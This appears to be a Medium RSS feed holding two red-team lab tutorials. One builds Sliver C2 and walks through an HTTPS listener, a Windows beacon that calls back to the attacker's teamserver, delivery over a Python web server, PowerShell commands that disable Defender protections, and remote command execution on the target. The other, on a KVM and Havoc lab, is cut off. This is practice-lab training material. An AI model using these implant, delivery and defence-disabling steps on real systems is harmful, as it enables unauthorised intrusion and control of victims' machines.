<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by RedAdmin on Medium]]></title>
        <description><![CDATA[Stories by RedAdmin on Medium]]></description>
        <link>https://medium.com/@aviraj3868?source=rss-89cce7e8c15e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ppG1B3dnExON4of3Ig1uJw.png</url>
            <title>Stories by RedAdmin on Medium</title>
            <link>https://medium.com/@aviraj3868?source=rss-89cce7e8c15e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 21:08:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aviraj3868/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Every Sliver C2 Tutorial Was Outdated. So I Wrote My Own]]></title>
            <link>https://medium.com/@aviraj3868/every-sliver-c2-tutorial-was-outdated-so-i-wrote-my-own-cd47c50add3f?source=rss-89cce7e8c15e------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd47c50add3f</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[RedAdmin]]></dc:creator>
            <pubDate>Tue, 24 Mar 2026 06:34:58 GMT</pubDate>
            <atom:updated>2026-03-24T06:34:58.334Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVvYUT-lN2r0w48SeGsKxA.jpeg" /></figure><p>Before moving further I want to clarify, I tried using AI to set up a C2 before. It gave me perfectly formatted, confidently written, completely wrong instructions. Package names that don’t exist, flags the tool doesn’t support, version numbers pulled from outdated training data. Everything looked correct. Nothing worked. So I did it myself. Every command in this blog I ran on my own machine. Every error is one I actually hit. Every fix is one that actually worked.</p><p>this blog is totally handwritten and almost 0% AI. You’ll find mistakes in my writing but not in the content. I hope you’ll enjoy it :)</p><p><strong>If you want to follow this pain journey live (LinkedIn:) </strong><a href="https://www.linkedin.com/in/ssavinash/"><strong>https://www.linkedin.com/in/ssavinash/</strong></a></p><p>My last blog was about Havoc C2 and in the series of full red team lab setup I am adding another gem. In real red team engagements I have seen, we don’t settle for one C2 only. Blue teams can detect it and block, so that’s why we need multiple C2s, so we are adding another C2 as backup.</p><p>also If you are new to C2 setup and wanted to know how to setup Sliver within minutes, this blog is for you.</p><p>The main thing is every C2 has its own signature, and the open source ones are already known by blue teams, they know every inch of it. So setting it up and then making it invisible is a real challenge. In this blog I’ll make sure you understand how to setup Sliver and get things working. In upcoming blogs I’ll cover how to make it stealthy so even a network with layers of defense can’t detect it. But before taking bigger step like that, we need to climb the small ones first.</p><p>Here’s the index of things we are going to cover in this blog:</p><h3>Table of Contents</h3><ol><li><strong>Some History of Sliver</strong></li><li>What is Sliver:</li><li>Why After Havoc:</li><li><strong>Dependencies</strong></li><li><strong>Cloning the Repo</strong></li><li><strong>Building the Server</strong></li><li>The TMPDIR Fix (error)</li><li><strong>Starting the Team Server</strong></li><li><strong>Setting Up an HTTPS Listener</strong></li><li><strong>Generating a Beacon Implant for Windows</strong></li><li><strong>Transferring the Beacon to Windows</strong></li><li><strong>Interacting with the Beacon</strong></li><li><strong>Creating an Interactive Session</strong></li><li><strong>What’s Next!!</strong></li></ol><h3>What is Sliver:</h3><p>Sliver C2 is an open source framework created by Bishop Fox. Big shoutout to the creators first, because I honestly love this tool and use it in my engagements mostly. Why? Because I can manage it from terminal, it works smooth and is easy to debug if anything goes wrong. You can quickly understand what’s wrong and where.</p><p>Also it’s written in Go and supports multiple protocols for communication like HTTP, HTTPS, mTLS, DNS and WireGuard (my favourite btw, will talk more about it later).</p><p>It’s not the same as Havoc or Cobalt Strike which have a GUI. As I said it’s terminal based so you don’t need to do back-and-forth mostly (saves time.)</p><p>It has two implant modes:</p><ol><li>Beacon (async, sleeps between check-ins)</li><li>Session (real-time, interactive)</li></ol><p>It has a good amount of options to make your beacon stealthy but it does not create a lightweight beacon. The beacon generated by Sliver is almost 32MB in size where Havoc creates one at just 100KB.</p><p>Also a good thing is Sliver has a big community. Despite the leader Bishop Fox there are so many individuals who contribute and will respond to your queries.</p><p>Last but not least, good documentation. Same as any other C2 but useful to learn Sliver. Whenever I get stuck somewhere with Sliver I read the documentation instead of asking an AI chatbot because it will confuse you more. 😄</p><h3>Why After Havoc:</h3><p>Every C2 has detection signatures. What makes them different is how they communicate. As I know, most blue teams have tons of IOCs on all C2 frameworks. Where we need to focus is how we are communicating with our teamserver and how much we are making it look legit.</p><p>Another angle is you need 2 C2s in your engagement. Even if your primary C2 gets caught you need another one to stay in business.</p><p>Havoc is more heavy to operate. The lighter and more terminal friendly version is Sliver. When you use both you understand the difference quickly.</p><p>Also one thing to consider is Sliver supports different protocols than Havoc. Where Havoc focuses on traditional C2 communication, Sliver uses WireGuard and mTLS which are completely different and harder to detect.</p><h3>Dependencies</h3><p>before we build anything we need to check what you have. Just run these commands to know what extra we need to add. If you ever installed a C2 before then I think you have satisfied these dependencies already. If not then check right now.</p><p>If you don’t want to check and wanted to directly install the dependencies then I have given a one liner below to install these directly.</p><p>Honestly, I really want to add some value to you, that’s why I tried to write most of the things which are useful to you. So before installing anything just read why C2 frameworks mostly require these specific packages and how they work. Maybe next time you can explain it clearly to someone else.</p><p>You’ll experience things like these in my blogs mostly, because I want to give you a better experience and knowledge that will add up over time.</p><p>Go ahead and have a victory :)</p><p><strong>1. curl</strong></p><p>curl is a command line tool for transferring data. We need it for downloading things during setup and it’s also used internally by some Go modules during the build process. Most Linux systems have it by default but worth checking.</p><pre>curl --version</pre><p><strong>2. mingw-w64</strong></p><p>This is the most important cross compiler in our setup. Even when we are using Sliver on Linux, our targets are mostly Windows based. mingw-w64 is what bridges that gap, it allows your Linux machine to compile binaries that run on Windows. (Basically it can create .exe files on Linux.)</p><pre>x86_64-w64-mingw32-gcc --version</pre><p><strong>3. g++ mingw</strong></p><p>This is the C++ version of the mingw cross compiler. Some parts of the Windows implant generation require C++ compilation not just C. Think of it as the companion to mingw-w64, they work together. If mingw-w64 is the engine then g++ mingw is the gearbox.</p><pre>x86_64-w64-mingw32-g++ --version</pre><p><strong>4. binutils</strong></p><p>binutils is a collection of binary tools, such as linker, assembler, object file utilities. When the cross compiler finishes compiling your implant code it hands it off to the linker to stitch everything together into a final executable. That linker is part of binutils. You won’t interact with it directly but Sliver’s build process needs it working in the background.</p><pre>x86_64-w64-mingw32-ld --version</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gYy9c-kjZaeQXmlsfpv73w.png" /></figure><p><strong>5. Go</strong></p><p>This is the most important dependency so far because the tool itself is written in Go. To avoid any errors I went through the Makefile first so you don’t have to, and found that Sliver needs a minimum Go 1.25 version. If you have a lower version then uninstall it and install 1.25.</p><p>Uninstall old Go:</p><pre>sudo apt remove -y golang<br>sudo rm -rf /usr/local/go</pre><p>Then install Go 1.25 manually:</p><pre>wget &lt;https://go.dev/dl/go1.25.0.linux-amd64.tar.gz&gt;<br>sudo tar -C /usr/local -xzf go1.25.0.linux-amd64.tar.gz<br>echo &#39;export PATH=$PATH:/usr/local/go/bin&#39; &gt;&gt; ~/.bashrc<br>source ~/.bashrc</pre><p>The Makefile lines that tell you this:</p><pre>MIN_SUPPORTED_GO_MAJOR_VERSION = 1<br>MIN_SUPPORTED_GO_MINOR_VERSION = 25</pre><p>Verify:</p><pre>go version</pre><p><strong>6. Python3</strong></p><p>Sliver uses Python internally during the asset preparation phase of the build. When you run make it downloads Go toolchains, Zig compiler and Garble for all target platforms, that asset management process uses Python behind the scenes. Without Python3 the asset download phase will fail before the actual compilation even starts.</p><pre>python3 --version</pre><p><strong>Now install whatever is missing in one shot:</strong></p><pre>sudo apt install -y curl mingw-w64 binutils-mingw-w64 g++-mingw-w64 python3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bhx-0chQ1wxmqB1hFcyZOQ.png" /></figure><h3>Cloning the Repo</h3><p>use it to clone the repo directly, If you’re behind a restrictive firewall, git clone over HTTPS uses port 443. Make sure it’s open.</p><pre>cd ~/Desktop<br>git clone &lt;https://github.com/BishopFox/sliver.git&gt;<br>cd sliver<br>ls</pre><p>whenever you clone a GO repo make a habbit of reading the Makefile, I always do this before building any C2 from source. It tells you exactly what the build expects, what version of Go it needs, what it downloads, what it builds. Takes 2 minutes and saves you from hitting errors you don’t understand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cFAmLoIbXkGt1aUwM5dZoQ.png" /></figure><h3>Building the Server</h3><p>Navigate to the Sliver directory and run make:</p><pre>cd ~/Desktop/sliver<br>make</pre><p>This single command builds both the server and client binaries. If you run into a “disk space” error, don’t panic. It’s not your main drive — it’s /tmp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*58djPYlGmhnO7uzifPbb4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bpQoW1CsW-l-BypsjnrVKQ.png" /></figure><h3>The TMPDIR Fix</h3><p>During the build, I hit this error:</p><pre>cannot write to temporary directory: no space left on device</pre><p>I checked my disk: 74GB free. So what’s happening?</p><p>The Go linker uses /tmp for building large binaries. The Sliver server binary is massive and /tmp is usually a small temporary partition (often 1-2GB). It fills up fast.</p><p><strong>Fix:</strong> Tell Go to use your main drive for temp files.</p><pre>cd ~/Desktop/sliver<br>mkdir -p ~/sliver-tmp<br>TMPDIR=~/sliver-tmp make</pre><p>This creates a temp folder in your home directory and forces Go to use it. The build will complete without space issues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vG3dSrNJWEjBpMccd7FPDw.png" /></figure><p>If you are suffering reading this, just imagine how I felt fixing it, LinkedIn: <a href="https://www.linkedin.com/in/ssavinash/"><strong>https://www.linkedin.com/in/ssavinash/</strong></a></p><h3>Starting the Team Server</h3><p>Once the build finishes, start the Sliver server:</p><pre>cd ~/Desktop/sliver<br>sudo ./sliver-server</pre><p><strong>Why sudo?</strong> Sliver needs to bind to low-numbered ports (like 443, 80) for HTTPS listeners. Without sudo, you’ll get permission errors. If you’re using higher ports (above 1024), you can run it as a normal user.</p><p>The server starts in interactive mode. You’ll see the Sliver console:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cppYMtmcC3arkWfBLogH8g.png" /></figure><p><strong>If you want to run it in the background</strong> (so you can close the terminal), use:</p><pre>sudo ./sliver-server daemon</pre><p>The logs will be saved to ~/.sliver/logs/. To re-enter the console later:</p><pre>sudo ./sliver-server console</pre><h3>Setting Up an HTTPS Listener</h3><p>In the Sliver console, create an HTTPS listener:</p><pre>https --lhost 192.168.122.90 --lport 443</pre><p>Replace 192.168.122.90 with your actual machine IP. Get it with:</p><pre>ip a</pre><p>Why 443? It’s the standard HTTPS port. Firewalls rarely block it. If 443 is already in use pick 8443 instead.</p><p><strong>Note:</strong> If you get a permission denied error on port 443, make sure you started the Sliver server with sudo. Ports below 1024 need root. That&#39;s it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A_w7e_orM_Qx5nZMVEzOpQ.png" /></figure><h3>Generating a Beacon Implant for Windows</h3><p>use the below command to generate the windows beacon, change the file location and check-in time as per your convenience</p><pre>generate beacon --http &lt;https://192.168.122.90&gt; --os windows --arch amd64 --format exe --seconds 1 --jitter 0 --save /home/RDA/Desktop/mypayloads/</pre><p>Quick breakdown of what these flags do:</p><ul><li>-http — C2 communication protocol and teamserver address</li><li>-os windows — target operating system</li><li>-arch amd64 — 64 bit architecture</li><li>-format exe — output as Windows executable</li><li>-seconds 1 — beacon checks in every 1 second</li><li>-jitter 0 — no random delay added</li><li>-save — where to save the generated implant</li></ul><p>One thing which you’ll notice with the Sliver, it gives your beacon a random creepy name automatically. Mine was AVAILABLE_CEMETERY.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t0j3z4BSsnGXjIIhX7j_5A.png" /></figure><p>use this quick command to fix the file permissions, the implant is generated as root owned so your HTTP server can’t read it:</p><pre>sudo chmod 644 /home/RDA/Desktop/mypayloads/*.exe</pre><h3>Transferring the Beacon to Windows</h3><p>you can choose any technique you want to do the weapon delivery, i am using the python server method, to setup:</p><p>open new terminal, navigate to your payloads folder and then use this command to setup your python server</p><pre>cd /home/RDA/Desktop/mypayloads<br>python3 -m http.server 8080</pre><p>On Windows open the browser and go to:</p><pre>&lt;http://192.168.122.90:8080&gt;</pre><p>You’ll see the directory listing. Click AVAILABLE_CEMETERY.exe (or whatever creepy name Sliver gave yours) and download it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_khpDTod9PCyBahc9VIbNw.png" /></figure><p><strong>right now you have a beacon which is more known to defender then you, so even a download will be get blocked, but this is your frist time to and here you to understand how c2 works so its good to disable some security features and run and, and later time as you all learn evasion your beacons will be get more sophisticated.</strong></p><p>Open your powershell with admin and paste this one by one</p><pre>Set-MpPreference -DisableRealtimeMonitoring $true<br>Set-MpPreference -DisableBehaviorMonitoring $true<br>Set-MpPreference -DisableIOAVProtection $true<br>Set-MpPreference -DisableScriptScanning $true</pre><p>Why? Because Defender will kill the beacon before it even starts. The UI toggle lies to you, always disable via PowerShell to be sure.</p><p>Now run the beacon exe on Windows. Go back to your Sliver console and watch — you’ll see something like this appear:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JdK3lzGIDrDYIcUJvbL1Ew.png" /></figure><h3>Interacting with the Beacon</h3><p>before interacting with your beacons, always check how many beacons are there, maybe if you have dubble click it shows 2 or your executed beacon is dead, or unable to communicate, so to check your all beacons use this command</p><pre>beacons</pre><p>You’ll see a table with beacon ID, name, transport, hostname, username, OS, last check-in time and next check-in time. The last check-in and next check-in columns are important, they tell you if your beacon is alive and how frequently it’s communicating back.</p><p>If you have old beacons sitting around from previous sessions remove them. Old beacons are dead weight, they’re not connected to anything but they clutter your console and can confuse you when you’re managing multiple targets:</p><pre>beacons rm &lt;old beacon ID&gt;</pre><p>this command will Clear the screen, its just useful, but even i dont know where,</p><pre>Ctrl + L</pre><p>Now switch to your active beacon using its ID. This tells Sliver that all commands you type from now on go to this specific beacon:</p><pre>use 9ad180f4</pre><p>Your prompt will change showing the beacon name, that’s how you know you’re now talking directly to your implant on the Windows machine.</p><p>Run a quick test to confirm the beacon is responding:</p><pre>whoami</pre><p>Since this is beacon mode the output won’t come back instantly. Beacon is async, it picks up your task on the next check-in cycle and returns output after that. With our --seconds 1 setting it should come back within a second or two.</p><p>Now for executing actual system commands, here’s something important. In beacon mode you can’t just type shell whoami like in Havoc. Sliver separates beacon mode and session mode. In beacon mode you use execute:</p><pre>execute --output cmd.exe /c &quot;echo we succeeded the test &gt; C:\\\\Users\\\\VICTIM\\\\Downloads\\\\test.txt&quot;</pre><p>Why this specific syntax? A few reasons:</p><p>1st: the --output flag tells Sliver to capture and return the command output to you. Without it the command runs silently on the target and you never see the result.</p><p>2nd: cmd.exe /c is how you run a shell command through the Windows command interpreter. This is the Windows equivalent of bash -c on Linux.</p><p>3rd: the double backslashes \\\\ are important. You&#39;re typing this command on Linux but it&#39;s executing on Windows. Linux uses forward slashes, Windows uses backslashes. The double backslash is how you escape it properly so Windows receives a single backslash.</p><p>One thing Sliver will warn you about, spawning cmd.exe creates a child process and that’s detectable by EDRs. You’ll see this warning:</p><pre>⚠️ Using --output in beacon mode, if the command blocks the task will never complete</pre><p>For a lab this doesn’t matter. In a real engagement you’d want to use BOFs or built-in commands to avoid that detection. But for now we’re just proving communication works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yhyfW_-4m-dmnpE6Xyhd5w.png" /></figure><blockquote>✅ This completes our HTTPS listener and HTTPS beacon C2 communication setup. Beacon is alive, commands are executing, output is returning. That’s a working C2 channel.</blockquote><h3>Creating an Interactive Session</h3><p>Okay so beacon mode is great but for stealthy async operations but sometimes you need real-time interaction and instant output, instant commands, no waiting for check-in cycles. That’s where interactive session comes in to play.</p><p>Think of it like this, beacon mode is like sending a letter and waiting for a reply. Interactive session is like a phone call. Same target, completely different experience.</p><p>Here’s how to get there:</p><p>First login to your C2 server and find your active beacons:</p><pre>beacons</pre><p>You’ll see your active beacons with their IDs. Grab the ID of the one you want to upgrade to interactive session.</p><p>Switch to that beacon:</p><pre>use 7d5521f6</pre><p>Now run the interactive command:</p><pre>interactive</pre><p>What happens here is Sliver tasks your beacon to open a real-time session back to the teamserver. Since our beacon checks in every 1 second with zero jitter it picks this task up almost immediately. Within a second or two you’ll see something like this:</p><pre>[*] Session ac60fd97 SUBSEQUENT_ALLIGATOR - 192.168.122.96:50591 (DESKTOP-3LC57ME) - windows/amd64</pre><p>That’s your session ID. Now switch to it:</p><pre>use ac60fd97</pre><p>Your prompt changes in red. You are now in an interactive session, commands return output instantly, no task queue, no waiting.</p><p>Now here’s something important. You’ll notice Sliver has a shell command available in session mode. You can use it to get a full Windows shell. But the moment you do this Sliver will warn you:</p><pre>⚠️ This action is bad OPSEC, are you an adult?</pre><p>And it’s right. Spawning cmd.exe or powershell.exe from your implant is extremely noisy. EDRs flag parent-child process relationships like this instantly. In a real engagement that’s how you get caught.</p><p>So instead of using shelluse built-in Sliver commands. And if you need to run system commands make sure your beacon is set to check in with zero latency like we did when generating ours:</p><pre>generate beacon --http &lt;https://192.168.122.90&gt; --os windows --arch amd64 --format exe --seconds 1 --jitter 0 --save /home/RDA/Desktop/mypayloads/</pre><ul><li>-seconds 1 --jitter 0 means beacon checks in every single second with no random delay. In session mode your commands come back almost instantly. For a lab this is perfect. In real engagements you&#39;d tune this based on how stealthy you need to be, faster check-in means more network noise.</li></ul><p>To exit interactive session without killing it:</p><pre>background</pre><p>This sends you back to the Sliver server console. Your session stays alive on the Windows side. You can come back to it anytime with use &lt;session ID&gt;.</p><p>To kill the session completely:</p><pre>exit</pre><p>Beacon stays alive. Session dies. You can always open a new interactive session from the same beacon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9iaF3RQ1axnM4L3zp5ffiQ.png" /></figure><p>If that sounds like something you want to follow, subscribe on Medium so you don’t miss the next one. And if you have questions, corrections or you found a better way to do something, drop it in the comments. I read everything.</p><p>Both these blogs Havoc and Sliver are part of a bigger plan. We are building a full red team infrastructure series from scratch. Every tool, every technique, every error documented. No copy pasting, no skipping the hard parts.</p><p><strong>One last thing:</strong></p><p>👉 <a href="https://medium.com/@aviraj3868/your-red-team-lab-is-too-fat-heres-how-i-fixed-mine-32053403a276">https://medium.com/@aviraj3868/your-red-team-lab-is-too-fat-heres-how-i-fixed-mine-32053403a276</a></p><p>i built Havoc C2 from source on MX Linux before this, same lightweight setup, same lab. If you want to understand why we chose this infrastructure and how we got here check that out first:</p><p><strong>If you are new here and missed the Havoc C2 blog:</strong></p><p>Then we go into the full red team infrastructure series, redirectors, CDN setup, domain fronting, encrypted tunnels, multiple C2s working together. That’s where things get really interesting.</p><p>After that we go into making Sliver stealthy. Because right now our beacon is basically walking into a SOC with a name tag. The default Sliver beacon has known signatures, known traffic patterns, known IOCs. Blue teams have seen it. We’ll cover how to change that.</p><ul><li>mTLS is mutual TLS: encrypted both ways, much harder to detect than regular HTTPS.</li><li>DNS is C2 over DNS queries: this one bypasses most firewalls because DNS traffic is almost never blocked.</li><li>WireGuard is VPN tunnel based C2: completely different detection profile from anything else.</li></ul><p>We still have three more listener types to cover, mTLS, DNS and WireGuard. Each one is completely different from HTTPS and each one has its own use case in real engagements.</p><p><strong>Next blogs in this series:</strong></p><p>But this is just the beginning of Sliver. What we covered today is the foundation. Here’s what’s coming next in this series:</p><p>guys if you have read till here and created a working C2 then i can say you made it. You have a working Sliver C2 setup with HTTPS beacon communication and interactive session running on a Windows target.</p><p>If you enjoyed this and wanted to see more pain and suffering disguised as red team content, find me on LinkedIn:</p><p><a href="https://www.linkedin.com/in/ssavinash/">https://www.linkedin.com/in/ssavinash/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd47c50add3f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Red Team Lab Is Too Fat. Here’s How I Fixed Mine.]]></title>
            <link>https://medium.com/@aviraj3868/your-red-team-lab-is-too-fat-heres-how-i-fixed-mine-32053403a276?source=rss-89cce7e8c15e------2</link>
            <guid isPermaLink="false">https://medium.com/p/32053403a276</guid>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[RedAdmin]]></dc:creator>
            <pubDate>Sat, 21 Mar 2026 15:04:55 GMT</pubDate>
            <atom:updated>2026-03-21T15:04:55.671Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aP3ajNi1GvaCN_DRrlcu8A.jpeg" /></figure><h4>How I Built a Red Team Lab That Doesn’t Eat RAM Like Windows</h4><p>Let me be honest with you — most red team lab tutorials out there are written by people who either have a sponsored setup or genuinely don’t care about your electricity bill. Fire up Kali, spin up a Windows VM, and suddenly your laptop sounds like a jet engine and your RAM is crying in the corner. That’s not a lab, that’s a hostage situation.</p><p>The real problem isn’t the tools — it’s the “just use Kali” mentality. Sure, Kali has everything pre-installed. You copy paste three commands and boom, you’re “hacking.” But here’s the uncomfortable truth — if you’ve never configured a C2 from scratch, never fought through a dependency error at 2AM, never wondered why your listener refuses to start — you don’t actually know what you’re doing. You’re just a very confident copy-paster. And copy-pasters don’t survive real engagements.</p><h3>So I did it differently.</h3><p>I built a full red team lab — attacker machine, C2 framework, Windows victim — running comfortably under 6 GB RAM total. No lag, no thermal throttling, no selling a kidney for hardware. Here’s the reality check nobody talks about: Kali Linux sitting idle eats 1000–1200MB of RAM before you’ve even opened a terminal. MX Linux? 200–300MB idle. That’s not a small difference — that’s the difference between your lab running smooth and your laptop sounding like it’s filing a noise complaint.</p><h4>The config that actually works:</h4><ul><li>Lightweight Linux (<strong>antiX / MX / Mint</strong>) as your host — not Windows, never Windows</li><li><strong>KVM + virt-manager</strong> instead of that bloated Oracle Virtual Box</li><li><strong>MX Linux</strong> as your attacker VM instead of Kali, because real hackers don&#39;t use Kali they build the infra from scratch</li><li><strong>Windows 10 LTSC</strong> as your target instead of full fat Windows 10</li></ul><p>Total cost? 6 <strong>GB RAM</strong>. Total lag? Zero. Total copy-pasting? Also zero — because we’re building everything from scratch, the way it should be done.</p><p>If that sounds like your kind of setup, keep reading. 👇</p><blockquote>curious to know who i am check my LinkedIn — RED-ADMIN — <a href="https://www.linkedin.com/in/ssavinash/">https://www.linkedin.com/in/ssavinash/</a></blockquote><h3>Table of Contents</h3><p><strong>1. How I Built a Red Team Lab That Doesn’t Eat RAM Like Windows</strong></p><ul><li>So I Did It Differently</li><li>The Config That Actually Works</li></ul><p><strong>2. The Virt-Manager Setup</strong></p><p><strong>3. Satisfy the Dependencies</strong></p><ul><li>3.1 Basic Dependencies</li><li>3.2 Go Lang</li><li>3.3 Qt5</li><li>3.4 The Extra Libs Nobody Mentions</li><li>3.5 toml11 v3</li></ul><p><strong>4. Clone Havoc Repo</strong></p><ul><li>4.1 Method 1 — Git Clone</li><li>4.2 Method 2 — Manual Download</li><li>4.3 The Demon Submodule Problem</li></ul><p><strong>5. Building the Teamserver</strong></p><p><strong>6. Building the Client</strong></p><ul><li>6.1 Error 1 — nlohmann json</li><li>6.2 Error 2 — spdlog</li><li>6.3 Error 3 — toml.hpp</li><li>6.4 Error 4 — The Final Boss (fmt + spdlog ABI Mismatch)</li></ul><p><strong>7. Running Teamserver + Client for the First Time</strong></p><ul><li>7.1 Terminal 1 — Teamserver</li><li>7.2 Terminal 2 — Client</li></ul><p><strong>8. Profile Configuration + Credentials</strong></p><p><strong>9. Creating the Listener</strong></p><p><strong>10. Generating the Payload</strong></p><p><strong>11. Transferring Payload to Windows</strong></p><p><strong>12. Beacon Execution + Session Management</strong></p><p><strong>13. Commands Not Executing</strong></p><p><strong>14. Client Segfault</strong></p><p><strong>15. Bonus Errors</strong></p><ul><li>15.1 Payload Write Permission Error</li><li>15.2 The Unknown RequestID Spam</li></ul><p><strong>16. Final Working Flow</strong></p><p><strong>17. Victory</strong></p><h3>The Virt-Manager Setup</h3><blockquote><strong><em>if you are comfortable with resource hungry virtual box you can continue anyways its, not a big issue here — but if you want something lighter, then check this out!!</em></strong></blockquote><p>We’re using KVM + virt-manager. Lighter, faster, and it doesn’t make your system cry.</p><p>Install everything:</p><pre>sudo apt install -y virt-manager qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils</pre><p>Then the first slap in our face — virt-manager opens and shows <strong>“no active connection.”</strong> Classic. Turns out you need to add your user to the libvirt and kvm groups otherwise it just sits there :)</p><pre>sudo usermod -aG libvirt,kvm $USER<br>sudo reboot</pre><p>Reboot, then again open virt-manager — if connection shows up. its Progress.</p><p>Now try to create a VM and virt will scream again for <strong>“network ‘default’ is not active.”</strong> Because of course it does. dnsmasq isn’t installed:</p><pre>sudo apt install -y dnsmasq<br>sudo virsh net-start default<br>sudo virsh net-autostart default</pre><p>But wait — now dnsmasq itself is the problem. System dnsmasq already grabbed port 53 before libvirt could. So virsh net-start fails with <strong>“Address already in use.”</strong></p><p>Find the criminal:</p><pre>sudo ss -tlnp | grep :53<br>sudo kill &lt;pid&gt;<br>sudo virsh net-start default</pre><p>Works. But this happens every single reboot. So permanent fix:</p><pre>sudo nano /etc/rc.local<br># Add before exit 0:<br>killall dnsmasq<br>sleep 2<br>virsh net-start default</pre><p>Now it auto-fixes itself on every boot.</p><p><strong>VM allocation that actually works under 6GB:</strong></p><blockquote>VM RAM Cores Tip</blockquote><blockquote>MX Linux (Attacker) 4096MB 4 if you have low core machine reduce it.</blockquote><blockquote><a href="https://mxlinux.org/download-links/">https://mxlinux.org/download-links/</a></blockquote><blockquote>Windows 10 LTSC (Target) 2048MB 2 trust me this vm can run on 1 core as well.</blockquote><blockquote><a href="https://archive.org/details/Windows10EnterpriseLTSC202164Bit">https://archive.org/details/Windows10EnterpriseLTSC202164Bit</a></blockquote><blockquote><strong>Important:</strong> Only run one VM at a time unless you have 16GB+. Spin up Windows only when you need a target, keep it off otherwise.</blockquote><blockquote>for now my host is the Linux distro which does not have systemd — <strong><em>low resource machine hain mera (girib hoon)</em></strong></blockquote><p>so i used these commands to start the <strong>libvirtd</strong></p><pre>sudo /etc/init.d/libvirtd start<br>sudo /etc/init.d/libvirtd status</pre><p>but you if have host with systemd use this command</p><pre>sudo systemctl start libvirtd<br>sudo systemctl status libvirtd<br>sudo systemctl enable libvirtd</pre><h3>Satisfy the Dependencies</h3><h4>basic dependencies (dont skip these)</h4><pre>sudo apt install -y git build-essential cmake mingw-w64 python3 python3-pip libssl-dev libffi-dev pkg-config nasm</pre><p>This installs your cross-compiler for Windows payloads (mingw-w64), build tools, Python, and nasm for shellcode assembly. If you skip nasm you&#39;ll find out the hard way later — at 2AM when the compiler starts throwing tantrums.</p><h4>Go Lang (Teamserver Needs It)</h4><p>Havoc’s teamserver is written in Go. (MX Linux doesn’t ship it by default because MX Linux respects your disk space unlike certain Debian-based distros that install everything including the kitchen sink:)</p><p>if you have it pre-installed check with 2nd command and move forward nothing to see here</p><pre>sudo apt install -y golang<br>go version    # Must show 1.18 or higher</pre><p>If it shows anything below 1.18 — update it. because the teamserver will refuse to compile and won’t even leave a polite error message.</p><h4>Qt5 (For the Pretty UI)</h4><p>The Havoc client has a GUI. (same like cobalt strike) For that we need Qt5:</p><pre>sudo apt install -y qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5-dev libqt5gui5t64 python3-dev</pre><p><strong>Note for fellow sufferers:</strong> If libqt5gui5t64 throws a not found error, try libqt5gui5 instead. The t64 suffix is a Debian trixie thing. Pick whichever one your system accepts.</p><h4>The Extra Libs Nobody Mentions (but we need)</h4><pre>sudo apt install -y nlohmann-json3-dev libfmt-dev</pre><p>Install these now. Don’t skip them. You’ll hit them as compile errors later and wonder why your life choices led to this moment.</p><blockquote><strong><em>DO NOT install </em></strong><strong><em>libspdlog-dev from apt.</em></strong><em> I repeat — do not install it. The apt version on Debian trixie has a fmt ABI mismatch with Havoc. It will compile 98% of the way and then fail at linking. You&#39;ll lose 45 minutes of your life that you&#39;re never getting back. i speak from experience.</em> <em>🙂</em></blockquote><h4>toml11 v3 (The Most Annoying Dependency)</h4><p>This one deserves its own section because apt will betray you here.</p><p>If you run sudo apt install libtoml11-dev — it installs v4.4.0. Havoc needs v3.x. The API changed between versions and Havoc&#39;s code uses the old one. The error you&#39;ll get is:</p><pre>wrong number of template arguments (3, should be 1)</pre><p>Which is compiler speak for “you gave me the wrong library and I’m choosing violence.”</p><p>Fix — remove the apt version and install v3 manually:</p><pre>sudo apt remove -y libtoml11-dev<br>cd /tmp<br>git clone --branch v3.8.1 &lt;https://github.com/ToruNiina/toml11.git&gt;<br>sudo cp -r toml11/toml /usr/local/include/<br>sudo cp toml11/toml.hpp /usr/local/include/</pre><p>No this is not optional. Yes it has to be exactly v3.8.1. and there’s no 